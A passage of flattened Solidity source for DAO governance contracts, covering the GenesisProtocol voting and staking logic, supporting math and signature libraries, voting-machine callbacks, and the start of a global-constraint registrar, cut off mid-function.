function upgradeController(address _newController, Avatar _avatar)
external returns(bool);
function genericCall(address _contract, bytes calldata _data, Avatar _avatar, uint256 _value)
external
returns(bool, bytes memory);
function sendEther(uint256 _amountInWei, address payable _to, Avatar _avatar)
external returns(bool);
function externalTokenTransfer(IERC20 _externalToken, address _to, uint256 _value, Avatar _avatar)
external
returns(bool);
function externalTokenTransferFrom(
IERC20 _externalToken,
address _from,
address _to,
uint256 _value,
Avatar _avatar)
external
returns(bool);
function externalTokenApproval(IERC20 _externalToken, address _spender, uint256 _value, Avatar _avatar)
external
returns(bool);
function metaData(string calldata _metaData, Avatar _avatar) external returns(bool);
function getNativeReputation(address _avatar)
external
view
returns(address);
function isSchemeRegistered( address _scheme, address _avatar) external view returns(bool);
function getSchemeParameters(address _scheme, address _avatar) external view returns(bytes32);
function getGlobalConstraintParameters(address _globalConstraint, address _avatar) external view returns(bytes32);
function getSchemePermissions(address _scheme, address _avatar) external view returns(bytes4);
function globalConstraintsCount(address _avatar) external view returns(uint, uint);
function isGlobalConstraintRegistered(address _globalConstraint, address _avatar) external view returns(bool);
}
pragma solidity ^0.5.4;
contract UniversalScheme is UniversalSchemeInterface {
function getParametersFromController(Avatar _avatar) internal view returns(bytes32) {
require(ControllerInterface(_avatar.owner()).isSchemeRegistered(address(this), address(_avatar)),
"scheme is not registered");
return ControllerInterface(_avatar.owner()).getSchemeParameters(address(this), address(_avatar));
}
}
pragma solidity ^0.5.2;
library ECDSA {
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
if (signature.length != 65) {
return (address(0));
}
bytes32 r;
bytes32 s;
uint8 v;
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return address(0);
}
if (v != 27 && v != 28) {
return address(0);
}
return ecrecover(hash, v, r, s);
}
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
pragma solidity ^0.5.4;
library RealMath {
uint256 constant private REAL_BITS = 256;
uint256 constant private REAL_FBITS = 40;
uint256 constant private REAL_ONE = uint256(1) << REAL_FBITS;
function pow(uint256 realBase, uint256 exponent) internal pure returns (uint256) {
uint256 tempRealBase = realBase;
uint256 tempExponent = exponent;
uint256 realResult = REAL_ONE;
while (tempExponent != 0) {
if ((tempExponent & 0x1) == 0x1) {
realResult = mul(realResult, tempRealBase);
}
tempExponent = tempExponent >> 1;
if (tempExponent != 0) {
tempRealBase = mul(tempRealBase, tempRealBase);
}
}
return realResult;
}
function fraction(uint216 numerator, uint216 denominator) internal pure returns (uint256) {
return div(uint256(numerator) * REAL_ONE, uint256(denominator) * REAL_ONE);
}
function mul(uint256 realA, uint256 realB) private pure returns (uint256) {
uint256 res = realA * realB;
require(res/realA == realB, "RealMath mul overflow");
return (res >> REAL_FBITS);
}
function div(uint256 realNumerator, uint256 realDenominator) private pure returns (uint256) {
return uint256((uint256(realNumerator) * REAL_ONE) / uint256(realDenominator));
}
}
pragma solidity ^0.5.4;
interface ProposalExecuteInterface {
function executeProposal(bytes32 _proposalId, int _decision) external returns(bool);
}
pragma solidity ^0.5.2;
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
pragma solidity ^0.5.4;
contract GenesisProtocolLogic is IntVoteInterface {
using SafeMath for uint256;
using Math for uint256;
using RealMath for uint216;
using RealMath for uint256;
using Address for address;
enum ProposalState { None, ExpiredInQueue, Executed, Queued, PreBoosted, Boosted, QuietEndingPeriod}
enum ExecutionState { None, QueueBarCrossed, QueueTimeOut, PreBoostedBarCrossed, BoostedTimeOut, BoostedBarCrossed}
struct Parameters {
uint256 queuedVoteRequiredPercentage;
uint256 queuedVotePeriodLimit;
uint256 boostedVotePeriodLimit;
uint256 preBoostedVotePeriodLimit;
uint256 thresholdConst;
uint256 limitExponentValue;
uint256 quietEndingPeriod;
uint256 proposingRepReward;
uint256 votersReputationLossRatio;
uint256 minimumDaoBounty;
uint256 daoBountyConst;
uint256 activationTime;
address voteOnBehalf;
}
struct Voter {
uint256 vote;
uint256 reputation;
bool preBoosted;
}
struct Staker {
uint256 vote;
uint256 amount;
uint256 amount4Bounty;
}
struct Proposal {
bytes32 organizationId;
address callbacks;
ProposalState state;
uint256 winningVote;
address proposer;
uint256 currentBoostedVotePeriodLimit;
bytes32 paramsHash;
uint256 daoBountyRemain;
uint256 daoBounty;
uint256 totalStakes;
uint256 confidenceThreshold;
uint256 expirationCallBountyPercentage;
uint[3] times;
bool daoRedeemItsWinnings;
mapping(uint256 => uint256 ) votes;
mapping(uint256 => uint256 ) preBoostedVotes;
mapping(address => Voter ) voters;
mapping(uint256 => uint256 ) stakes;
mapping(address => Staker ) stakers;
}
event Stake(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _staker,
uint256 _vote,
uint256 _amount
);
event Redeem(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _beneficiary,
uint256 _amount
);
event RedeemDaoBounty(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _beneficiary,
uint256 _amount
);
event RedeemReputation(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _beneficiary,
uint256 _amount
);
event StateChange(bytes32 indexed _proposalId, ProposalState _proposalState);
event GPExecuteProposal(bytes32 indexed _proposalId, ExecutionState _executionState);
event ExpirationCallBounty(bytes32 indexed _proposalId, address indexed _beneficiary, uint256 _amount);
event ConfidenceLevelChange(bytes32 indexed _proposalId, uint256 _confidenceThreshold);
mapping(bytes32=>Parameters) public parameters;
mapping(bytes32=>Proposal) public proposals;
mapping(bytes32=>uint) public orgBoostedProposalsCnt;
mapping(bytes32 => address ) public organizations;
mapping(bytes32 => uint256 ) public averagesDownstakesOfBoosted;
uint256 constant public NUM_OF_CHOICES = 2;
uint256 constant public NO = 2;
uint256 constant public YES = 1;
uint256 public proposalsCnt;
IERC20 public stakingToken;
address constant private GEN_TOKEN_ADDRESS = 0x543Ff227F64Aa17eA132Bf9886cAb5DB55DCAddf;
uint256 constant private MAX_BOOSTED_PROPOSALS = 4096;
constructor(IERC20 _stakingToken) public {
if (address(GEN_TOKEN_ADDRESS).isContract()) {
stakingToken = IERC20(GEN_TOKEN_ADDRESS);
} else {
stakingToken = _stakingToken;
}
}
modifier votable(bytes32 _proposalId) {
require(_isVotable(_proposalId));
_;
}
function propose(uint256, bytes32 _paramsHash, address _proposer, address _organization)
external
returns(bytes32)
{
require(now > parameters[_paramsHash].activationTime, "not active yet");
require(parameters[_paramsHash].queuedVoteRequiredPercentage >= 50);
bytes32 proposalId = keccak256(abi.encodePacked(this, proposalsCnt));
proposalsCnt = proposalsCnt.add(1);
Proposal memory proposal;
proposal.callbacks = msg.sender;
proposal.organizationId = keccak256(abi.encodePacked(msg.sender, _organization));
proposal.state = ProposalState.Queued;
proposal.times[0] = now;
proposal.currentBoostedVotePeriodLimit = parameters[_paramsHash].boostedVotePeriodLimit;
proposal.proposer = _proposer;
proposal.winningVote = NO;
proposal.paramsHash = _paramsHash;
if (organizations[proposal.organizationId] == address(0)) {
if (_organization == address(0)) {
organizations[proposal.organizationId] = msg.sender;
} else {
organizations[proposal.organizationId] = _organization;
}
}
uint256 daoBounty =
parameters[_paramsHash].daoBountyConst.mul(averagesDownstakesOfBoosted[proposal.organizationId]).div(100);
if (daoBounty < parameters[_paramsHash].minimumDaoBounty) {
proposal.daoBountyRemain = parameters[_paramsHash].minimumDaoBounty;
} else {
proposal.daoBountyRemain = daoBounty;
}
proposal.totalStakes = proposal.daoBountyRemain;
proposals[proposalId] = proposal;
proposals[proposalId].stakes[NO] = proposal.daoBountyRemain;
emit NewProposal(proposalId, organizations[proposal.organizationId], NUM_OF_CHOICES, _proposer, _paramsHash);
return proposalId;
}
function executeBoosted(bytes32 _proposalId) external returns(uint256 expirationCallBounty) {
Proposal storage proposal = proposals[_proposalId];
require(proposal.state == ProposalState.Boosted || proposal.state == ProposalState.QuietEndingPeriod,
"proposal state in not Boosted nor QuietEndingPeriod");
require(_execute(_proposalId), "proposal need to expire");
uint256 expirationCallBountyPercentage =
(uint(1).add(now.sub(proposal.currentBoostedVotePeriodLimit.add(proposal.times[1])).div(15)));
if (expirationCallBountyPercentage > 100) {
expirationCallBountyPercentage = 100;
}
proposal.expirationCallBountyPercentage = expirationCallBountyPercentage;
expirationCallBounty = expirationCallBountyPercentage.mul(proposal.stakes[YES]).div(100);
require(stakingToken.transfer(msg.sender, expirationCallBounty), "transfer to msg.sender failed");
emit ExpirationCallBounty(_proposalId, msg.sender, expirationCallBounty);
}
function setParameters(
uint[11] calldata _params,
address _voteOnBehalf
)
external
returns(bytes32)
{
require(_params[0] <= 100 && _params[0] >= 50, "50 <= queuedVoteRequiredPercentage <= 100");
require(_params[4] <= 16000 && _params[4] > 1000, "1000 < thresholdConst <= 16000");
require(_params[7] <= 100, "votersReputationLossRatio <= 100");
require(_params[2] >= _params[5], "boostedVotePeriodLimit >= quietEndingPeriod");
require(_params[8] > 0, "minimumDaoBounty should be > 0");
require(_params[9] > 0, "daoBountyConst should be > 0");
bytes32 paramsHash = getParametersHash(_params, _voteOnBehalf);
uint256 limitExponent = 172;
uint256 j = 2;
for (uint256 i = 2000; i < 16000; i = i*2) {
if ((_params[4] > i) && (_params[4] <= i*2)) {
limitExponent = limitExponent/j;
break;
}
j++;
}
parameters[paramsHash] = Parameters({
queuedVoteRequiredPercentage: _params[0],
queuedVotePeriodLimit: _params[1],
boostedVotePeriodLimit: _params[2],
preBoostedVotePeriodLimit: _params[3],
thresholdConst:uint216(_params[4]).fraction(uint216(1000)),
limitExponentValue:limitExponent,
quietEndingPeriod: _params[5],
proposingRepReward: _params[6],
votersReputationLossRatio:_params[7],
minimumDaoBounty:_params[8],
daoBountyConst:_params[9],
activationTime:_params[10],
voteOnBehalf:_voteOnBehalf
});
return paramsHash;
}
function redeem(bytes32 _proposalId, address _beneficiary) public returns (uint[3] memory rewards) {
Proposal storage proposal = proposals[_proposalId];
require((proposal.state == ProposalState.Executed)||(proposal.state == ProposalState.ExpiredInQueue),
"Proposal should be Executed or ExpiredInQueue");
Parameters memory params = parameters[proposal.paramsHash];
uint256 lostReputation;
if (proposal.winningVote == YES) {
lostReputation = proposal.preBoostedVotes[NO];
} else {
lostReputation = proposal.preBoostedVotes[YES];
}
lostReputation = (lostReputation.mul(params.votersReputationLossRatio))/100;
Staker storage staker = proposal.stakers[_beneficiary];
uint256 totalStakes = proposal.stakes[NO].add(proposal.stakes[YES]);
uint256 totalWinningStakes = proposal.stakes[proposal.winningVote];
if (staker.amount > 0) {
uint256 totalStakesLeftAfterCallBounty =
totalStakes.sub(proposal.expirationCallBountyPercentage.mul(proposal.stakes[YES]).div(100));
if (proposal.state == ProposalState.ExpiredInQueue) {
rewards[0] = staker.amount;
} else if (staker.vote == proposal.winningVote) {
if (staker.vote == YES) {
if (proposal.daoBounty < totalStakesLeftAfterCallBounty) {
uint256 _totalStakes = totalStakesLeftAfterCallBounty.sub(proposal.daoBounty);
rewards[0] = (staker.amount.mul(_totalStakes))/totalWinningStakes;
}
} else {
rewards[0] = (staker.amount.mul(totalStakesLeftAfterCallBounty))/totalWinningStakes;
}
}
staker.amount = 0;
}
if (proposal.daoRedeemItsWinnings == false &&
_beneficiary == organizations[proposal.organizationId] &&
proposal.state != ProposalState.ExpiredInQueue &&
proposal.winningVote == NO) {
rewards[0] =
rewards[0].add((proposal.daoBounty.mul(totalStakes))/totalWinningStakes).sub(proposal.daoBounty);
proposal.daoRedeemItsWinnings = true;
}
Voter storage voter = proposal.voters[_beneficiary];
if ((voter.reputation != 0) && (voter.preBoosted)) {
if (proposal.state == ProposalState.ExpiredInQueue) {
rewards[1] = ((voter.reputation.mul(params.votersReputationLossRatio))/100);
} else if (proposal.winningVote == voter.vote) {
rewards[1] = ((voter.reputation.mul(params.votersReputationLossRatio))/100)
.add((voter.reputation.mul(lostReputation))/proposal.preBoostedVotes[proposal.winningVote]);
}
voter.reputation = 0;
}
if ((proposal.proposer == _beneficiary)&&(proposal.winningVote == YES)&&(proposal.proposer != address(0))) {
rewards[2] = params.proposingRepReward;
proposal.proposer = address(0);
}
if (rewards[0] != 0) {
proposal.totalStakes = proposal.totalStakes.sub(rewards[0]);
require(stakingToken.transfer(_beneficiary, rewards[0]), "transfer to beneficiary failed");
emit Redeem(_proposalId, organizations[proposal.organizationId], _beneficiary, rewards[0]);
}
if (rewards[1].add(rewards[2]) != 0) {
VotingMachineCallbacksInterface(proposal.callbacks)
.mintReputation(rewards[1].add(rewards[2]), _beneficiary, _proposalId);
emit RedeemReputation(
_proposalId,
organizations[proposal.organizationId],
_beneficiary,
rewards[1].add(rewards[2])
);
}
}
function redeemDaoBounty(bytes32 _proposalId, address _beneficiary)
public
returns(uint256 redeemedAmount, uint256 potentialAmount) {
Proposal storage proposal = proposals[_proposalId];
require(proposal.state == ProposalState.Executed);
uint256 totalWinningStakes = proposal.stakes[proposal.winningVote];
Staker storage staker = proposal.stakers[_beneficiary];
if (
(staker.amount4Bounty > 0)&&
(staker.vote == proposal.winningVote)&&
(proposal.winningVote == YES)&&
(totalWinningStakes != 0)) {
potentialAmount = (staker.amount4Bounty * proposal.daoBounty)/totalWinningStakes;
}
if ((potentialAmount != 0)&&
(VotingMachineCallbacksInterface(proposal.callbacks)
.balanceOfStakingToken(stakingToken, _proposalId) >= potentialAmount)) {
staker.amount4Bounty = 0;
proposal.daoBountyRemain = proposal.daoBountyRemain.sub(potentialAmount);
require(
VotingMachineCallbacksInterface(proposal.callbacks)
.stakingTokenTransfer(stakingToken, _beneficiary, potentialAmount, _proposalId));
redeemedAmount = potentialAmount;
emit RedeemDaoBounty(_proposalId, organizations[proposal.organizationId], _beneficiary, redeemedAmount);
}
}
function shouldBoost(bytes32 _proposalId) public view returns(bool) {
Proposal memory proposal = proposals[_proposalId];
return (_score(_proposalId) > threshold(proposal.paramsHash, proposal.organizationId));
}
function threshold(bytes32 _paramsHash, bytes32 _organizationId) public view returns(uint256) {
uint256 power = orgBoostedProposalsCnt[_organizationId];
Parameters storage params = parameters[_paramsHash];
if (power > params.limitExponentValue) {
power = params.limitExponentValue;
}
return params.thresholdConst.pow(power);
}
function getParametersHash(
uint[11] memory _params,
address _voteOnBehalf
)
public
pure
returns(bytes32)
{
return keccak256(
abi.encodePacked(
keccak256(
abi.encodePacked(
_params[0],
_params[1],
_params[2],
_params[3],
_params[4],
_params[5],
_params[6],
_params[7],
_params[8],
_params[9],
_params[10])
),
_voteOnBehalf
));
}
function _execute(bytes32 _proposalId) internal votable(_proposalId) returns(bool) {
Proposal storage proposal = proposals[_proposalId];
Parameters memory params = parameters[proposal.paramsHash];
Proposal memory tmpProposal = proposal;
uint256 totalReputation =
VotingMachineCallbacksInterface(proposal.callbacks).getTotalReputationSupply(_proposalId);
uint256 executionBar = (totalReputation/100) * params.queuedVoteRequiredPercentage;
ExecutionState executionState = ExecutionState.None;
uint256 averageDownstakesOfBoosted;
uint256 confidenceThreshold;
if (proposal.votes[proposal.winningVote] > executionBar) {
if (proposal.state == ProposalState.Queued) {
executionState = ExecutionState.QueueBarCrossed;
} else if (proposal.state == ProposalState.PreBoosted) {
executionState = ExecutionState.PreBoostedBarCrossed;
} else {
executionState = ExecutionState.BoostedBarCrossed;
}
proposal.state = ProposalState.Executed;
} else {
if (proposal.state == ProposalState.Queued) {
if ((now - proposal.times[0]) >= params.queuedVotePeriodLimit) {
proposal.state = ProposalState.ExpiredInQueue;
proposal.winningVote = NO;
executionState = ExecutionState.QueueTimeOut;
} else {
confidenceThreshold = threshold(proposal.paramsHash, proposal.organizationId);
if (_score(_proposalId) > confidenceThreshold) {
proposal.state = ProposalState.PreBoosted;
proposal.times[2] = now;
proposal.confidenceThreshold = confidenceThreshold;
}
}
}
if (proposal.state == ProposalState.PreBoosted) {
confidenceThreshold = threshold(proposal.paramsHash, proposal.organizationId);
if ((now - proposal.times[2]) >= params.preBoostedVotePeriodLimit) {
if ((_score(_proposalId) > confidenceThreshold) &&
(orgBoostedProposalsCnt[proposal.organizationId] < MAX_BOOSTED_PROPOSALS)) {
proposal.state = ProposalState.Boosted;
proposal.times[1] = now;
orgBoostedProposalsCnt[proposal.organizationId]++;
averageDownstakesOfBoosted = averagesDownstakesOfBoosted[proposal.organizationId];
averagesDownstakesOfBoosted[proposal.organizationId] =
uint256(int256(averageDownstakesOfBoosted) +
((int256(proposal.stakes[NO])-int256(averageDownstakesOfBoosted))/
int256(orgBoostedProposalsCnt[proposal.organizationId])));
}
} else {
uint256 proposalScore = _score(_proposalId);
if (proposalScore <= proposal.confidenceThreshold.min(confidenceThreshold)) {
proposal.state = ProposalState.Queued;
} else if (proposal.confidenceThreshold > proposalScore) {
proposal.confidenceThreshold = confidenceThreshold;
emit ConfidenceLevelChange(_proposalId, confidenceThreshold);
}
}
}
}
if ((proposal.state == ProposalState.Boosted) ||
(proposal.state == ProposalState.QuietEndingPeriod)) {
if ((now - proposal.times[1]) >= proposal.currentBoostedVotePeriodLimit) {
proposal.state = ProposalState.Executed;
executionState = ExecutionState.BoostedTimeOut;
}
}
if (executionState != ExecutionState.None) {
if ((executionState == ExecutionState.BoostedTimeOut) ||
(executionState == ExecutionState.BoostedBarCrossed)) {
orgBoostedProposalsCnt[tmpProposal.organizationId] =
orgBoostedProposalsCnt[tmpProposal.organizationId].sub(1);
uint256 boostedProposals = orgBoostedProposalsCnt[tmpProposal.organizationId];
if (boostedProposals == 0) {
averagesDownstakesOfBoosted[proposal.organizationId] = 0;
} else {
averageDownstakesOfBoosted = averagesDownstakesOfBoosted[proposal.organizationId];
averagesDownstakesOfBoosted[proposal.organizationId] =
(averageDownstakesOfBoosted.mul(boostedProposals+1).sub(proposal.stakes[NO]))/boostedProposals;
}
}
emit ExecuteProposal(
_proposalId,
organizations[proposal.organizationId],
proposal.winningVote,
totalReputation
);
emit GPExecuteProposal(_proposalId, executionState);
ProposalExecuteInterface(proposal.callbacks).executeProposal(_proposalId, int(proposal.winningVote));
proposal.daoBounty = proposal.daoBountyRemain;
}
if (tmpProposal.state != proposal.state) {
emit StateChange(_proposalId, proposal.state);
}
return (executionState != ExecutionState.None);
}
function _stake(bytes32 _proposalId, uint256 _vote, uint256 _amount, address _staker) internal returns(bool) {
require(_vote <= NUM_OF_CHOICES && _vote > 0, "wrong vote value");
require(_amount > 0, "staking amount should be >0");
if (_execute(_proposalId)) {
return true;
}
Proposal storage proposal = proposals[_proposalId];
if ((proposal.state != ProposalState.PreBoosted) &&
(proposal.state != ProposalState.Queued)) {
return false;
}
Staker storage staker = proposal.stakers[_staker];
if ((staker.amount > 0) && (staker.vote != _vote)) {
return false;
}
uint256 amount = _amount;
require(stakingToken.transferFrom(_staker, address(this), amount), "fail transfer from staker");
proposal.totalStakes = proposal.totalStakes.add(amount);
staker.amount = staker.amount.add(amount);
require(staker.amount <= 0x100000000000000000000000000000000, "staking amount is too high");
require(proposal.totalStakes <= 0x100000000000000000000000000000000, "total stakes is too high");
if (_vote == YES) {
staker.amount4Bounty = staker.amount4Bounty.add(amount);
}
staker.vote = _vote;
proposal.stakes[_vote] = amount.add(proposal.stakes[_vote]);
emit Stake(_proposalId, organizations[proposal.organizationId], _staker, _vote, _amount);
return _execute(_proposalId);
}
function internalVote(bytes32 _proposalId, address _voter, uint256 _vote, uint256 _rep) internal returns(bool) {
require(_vote <= NUM_OF_CHOICES && _vote > 0, "0 < _vote <= 2");
if (_execute(_proposalId)) {
return true;
}
Parameters memory params = parameters[proposals[_proposalId].paramsHash];
Proposal storage proposal = proposals[_proposalId];
uint256 reputation = VotingMachineCallbacksInterface(proposal.callbacks).reputationOf(_voter, _proposalId);
require(reputation > 0, "_voter must have reputation");
require(reputation >= _rep, "reputation >= _rep");
uint256 rep = _rep;
if (rep == 0) {
rep = reputation;
}
if (proposal.voters[_voter].reputation != 0) {
return false;
}
proposal.votes[_vote] = rep.add(proposal.votes[_vote]);
if ((proposal.votes[_vote] > proposal.votes[proposal.winningVote]) ||
((proposal.votes[NO] == proposal.votes[proposal.winningVote]) &&
proposal.winningVote == YES)) {
if (proposal.state == ProposalState.Boosted &&
((now - proposal.times[1]) >= (params.boostedVotePeriodLimit - params.quietEndingPeriod))||
proposal.state == ProposalState.QuietEndingPeriod) {
if (proposal.state != ProposalState.QuietEndingPeriod) {
proposal.currentBoostedVotePeriodLimit = params.quietEndingPeriod;
proposal.state = ProposalState.QuietEndingPeriod;
}
proposal.times[1] = now;
}
proposal.winningVote = _vote;
}
proposal.voters[_voter] = Voter({
reputation: rep,
vote: _vote,
preBoosted:((proposal.state == ProposalState.PreBoosted) || (proposal.state == ProposalState.Queued))
});
if ((proposal.state == ProposalState.PreBoosted) || (proposal.state == ProposalState.Queued)) {
proposal.preBoostedVotes[_vote] = rep.add(proposal.preBoostedVotes[_vote]);
uint256 reputationDeposit = (params.votersReputationLossRatio.mul(rep))/100;
VotingMachineCallbacksInterface(proposal.callbacks).burnReputation(reputationDeposit, _voter, _proposalId);
}
emit VoteProposal(_proposalId, organizations[proposal.organizationId], _voter, _vote, rep);
return _execute(_proposalId);
}
function _score(bytes32 _proposalId) internal view returns(uint256) {
Proposal storage proposal = proposals[_proposalId];
return uint216(proposal.stakes[YES]).fraction(uint216(proposal.stakes[NO]));
}
function _isVotable(bytes32 _proposalId) internal view returns(bool) {
ProposalState pState = proposals[_proposalId].state;
return ((pState == ProposalState.PreBoosted)||
(pState == ProposalState.Boosted)||
(pState == ProposalState.QuietEndingPeriod)||
(pState == ProposalState.Queued)
);
}
}
pragma solidity ^0.5.4;
contract GenesisProtocol is IntVoteInterface, GenesisProtocolLogic {
using ECDSA for bytes32;
bytes32 public constant DELEGATION_HASH_EIP712 =
keccak256(abi.encodePacked(
"address GenesisProtocolAddress",
"bytes32 ProposalId",
"uint256 Vote",
"uint256 AmountToStake",
"uint256 Nonce"
));
mapping(address=>uint256) public stakesNonce;
constructor(IERC20 _stakingToken)
public
GenesisProtocolLogic(_stakingToken) {
}
function stake(bytes32 _proposalId, uint256 _vote, uint256 _amount) external returns(bool) {
return _stake(_proposalId, _vote, _amount, msg.sender);
}
function stakeWithSignature(
bytes32 _proposalId,
uint256 _vote,
uint256 _amount,
uint256 _nonce,
uint256 _signatureType,
bytes calldata _signature
)
external
returns(bool)
{
bytes32 delegationDigest;
if (_signatureType == 2) {
delegationDigest = keccak256(
abi.encodePacked(
DELEGATION_HASH_EIP712, keccak256(
abi.encodePacked(
address(this),
_proposalId,
_vote,
_amount,
_nonce)
)
)
);
} else {
delegationDigest = keccak256(
abi.encodePacked(
address(this),
_proposalId,
_vote,
_amount,
_nonce)
).toEthSignedMessageHash();
}
address staker = delegationDigest.recover(_signature);
require(staker != address(0), "staker address cannot be 0");
require(stakesNonce[staker] == _nonce);
stakesNonce[staker] = stakesNonce[staker].add(1);
return _stake(_proposalId, _vote, _amount, staker);
}
function vote(bytes32 _proposalId, uint256 _vote, uint256 _amount, address _voter)
external
votable(_proposalId)
returns(bool) {
Proposal storage proposal = proposals[_proposalId];
Parameters memory params = parameters[proposal.paramsHash];
address voter;
if (params.voteOnBehalf != address(0)) {
require(msg.sender == params.voteOnBehalf);
voter = _voter;
} else {
voter = msg.sender;
}
return internalVote(_proposalId, voter, _vote, _amount);
}
function cancelVote(bytes32 _proposalId) external votable(_proposalId) {
return;
}
function execute(bytes32 _proposalId) external votable(_proposalId) returns(bool) {
return _execute(_proposalId);
}
function getNumberOfChoices(bytes32) external view returns(uint256) {
return NUM_OF_CHOICES;
}
function getProposalTimes(bytes32 _proposalId) external view returns(uint[3] memory times) {
return proposals[_proposalId].times;
}
function voteInfo(bytes32 _proposalId, address _voter) external view returns(uint, uint) {
Voter memory voter = proposals[_proposalId].voters[_voter];
return (voter.vote, voter.reputation);
}
function voteStatus(bytes32 _proposalId, uint256 _choice) external view returns(uint256) {
return proposals[_proposalId].votes[_choice];
}
function isVotable(bytes32 _proposalId) external view returns(bool) {
return _isVotable(_proposalId);
}
function proposalStatus(bytes32 _proposalId) external view returns(uint256, uint256, uint256, uint256) {
return (
proposals[_proposalId].preBoostedVotes[YES],
proposals[_proposalId].preBoostedVotes[NO],
proposals[_proposalId].stakes[YES],
proposals[_proposalId].stakes[NO]
);
}
function getProposalOrganization(bytes32 _proposalId) external view returns(bytes32) {
return (proposals[_proposalId].organizationId);
}
function getStaker(bytes32 _proposalId, address _staker) external view returns(uint256, uint256) {
return (proposals[_proposalId].stakers[_staker].vote, proposals[_proposalId].stakers[_staker].amount);
}
function voteStake(bytes32 _proposalId, uint256 _vote) external view returns(uint256) {
return proposals[_proposalId].stakes[_vote];
}
function winningVote(bytes32 _proposalId) external view returns(uint256) {
return proposals[_proposalId].winningVote;
}
function state(bytes32 _proposalId) external view returns(ProposalState) {
return proposals[_proposalId].state;
}
function isAbstainAllow() external pure returns(bool) {
return false;
}
function getAllowedRangeOfChoices() external pure returns(uint256 min, uint256 max) {
return (YES, NO);
}
function score(bytes32 _proposalId) public view returns(uint256) {
return _score(_proposalId);
}
}
pragma solidity ^0.5.4;
contract VotingMachineCallbacks is VotingMachineCallbacksInterface {
struct ProposalInfo {
uint256 blockNumber;
Avatar avatar;
}
modifier onlyVotingMachine(bytes32 _proposalId) {
require(proposalsInfo[msg.sender][_proposalId].avatar != Avatar(address(0)), "only VotingMachine");
_;
}
mapping(address => mapping(bytes32 => ProposalInfo)) public proposalsInfo;
function mintReputation(uint256 _amount, address _beneficiary, bytes32 _proposalId)
external
onlyVotingMachine(_proposalId)
returns(bool)
{
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (avatar == Avatar(0)) {
return false;
}
return ControllerInterface(avatar.owner()).mintReputation(_amount, _beneficiary, address(avatar));
}
function burnReputation(uint256 _amount, address _beneficiary, bytes32 _proposalId)
external
onlyVotingMachine(_proposalId)
returns(bool)
{
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (avatar == Avatar(0)) {
return false;
}
return ControllerInterface(avatar.owner()).burnReputation(_amount, _beneficiary, address(avatar));
}
function stakingTokenTransfer(
IERC20 _stakingToken,
address _beneficiary,
uint256 _amount,
bytes32 _proposalId)
external
onlyVotingMachine(_proposalId)
returns(bool)
{
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (avatar == Avatar(0)) {
return false;
}
return ControllerInterface(avatar.owner()).externalTokenTransfer(_stakingToken, _beneficiary, _amount, avatar);
}
function balanceOfStakingToken(IERC20 _stakingToken, bytes32 _proposalId) external view returns(uint256) {
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
if (proposalsInfo[msg.sender][_proposalId].avatar == Avatar(0)) {
return 0;
}
return _stakingToken.balanceOf(address(avatar));
}
function getTotalReputationSupply(bytes32 _proposalId) external view returns(uint256) {
ProposalInfo memory proposal = proposalsInfo[msg.sender][_proposalId];
if (proposal.avatar == Avatar(0)) {
return 0;
}
return proposal.avatar.nativeReputation().totalSupplyAt(proposal.blockNumber);
}
function reputationOf(address _owner, bytes32 _proposalId) external view returns(uint256) {
ProposalInfo memory proposal = proposalsInfo[msg.sender][_proposalId];
if (proposal.avatar == Avatar(0)) {
return 0;
}
return proposal.avatar.nativeReputation().balanceOfAt(_owner, proposal.blockNumber);
}
}
pragma solidity ^0.5.4;
contract GlobalConstraintRegistrar is UniversalScheme, VotingMachineCallbacks, ProposalExecuteInterface {
event NewGlobalConstraintsProposal(
address indexed _avatar,
bytes32 indexed _proposalId,
address indexed _intVoteInterface,
address _gc,
bytes32 _params,
bytes32 _voteToRemoveParams,
string _descriptionHash
);
event RemoveGlobalConstraintsProposal(
address indexed _avatar,
bytes32 indexed _proposalId,
address indexed _intVoteInterface,
address _gc,
string _descriptionHash
);
event ProposalExecuted(address indexed _avatar, bytes32 indexed _proposalId, int256 _param);
event ProposalDeleted(address indexed _avatar, bytes32 indexed _proposalId);
struct GCProposal {
address gc;
bool addGC;
bytes32 params;
bytes32 voteToRemoveParams;
}
mapping(address=>mapping(bytes32=>GCProposal)) public organizationsProposals;
mapping(address=>mapping(address=>bytes32)) public voteToRemoveParams;
struct Parameters {
bytes32 voteRegisterParams;
IntVoteInterface intVote;
}
mapping(bytes32=>Parameters) public parameters;
function executeProposal(bytes32 _proposalId, int256 _param) external onlyVotingMachine(_proposalId) returns(bool) {
Avatar avatar = proposalsInfo[msg.sender][_proposalId].avatar;
bool retVal = true;
GCProposal memory proposal = organizationsProposals[address(avatar)][_proposalId];
require(proposal.gc != address(0));
delete organizationsProposals[address(avatar)][_proposalId];
emit ProposalDeleted(address(avatar), _proposalId);
if (_param == 1) {
ControllerInterface controller = ControllerInterface(avatar.owner());
if (proposal.addGC) {
retVal = controller.addGlobalConstraint(proposal.gc, proposal.params, address(avatar));
voteToRemoveParams[address(avatar)][proposal.gc] = proposal.voteToRemoveParams;
}
if (!proposal.addGC) {
retVal = controller.removeGlobalConstraint(proposal.gc, address(avatar));
}
}
emit ProposalExecuted(address(avatar), _proposalId, _param);
return retVal;
}
function setParameters(
bytes32 _voteRegisterParams,
IntVoteInterface _intVote
) public returns(bytes32)
{
bytes32 paramsHash = getParametersHash(_voteRegisterParams, _intVote);
parameters[paramsHash].voteRegisterParams = _voteRegisterParams;
parameters[paramsHash].intVote = _intVote;
return paramsHash;
}
function getParametersHash(
bytes32 _voteRegisterParams,
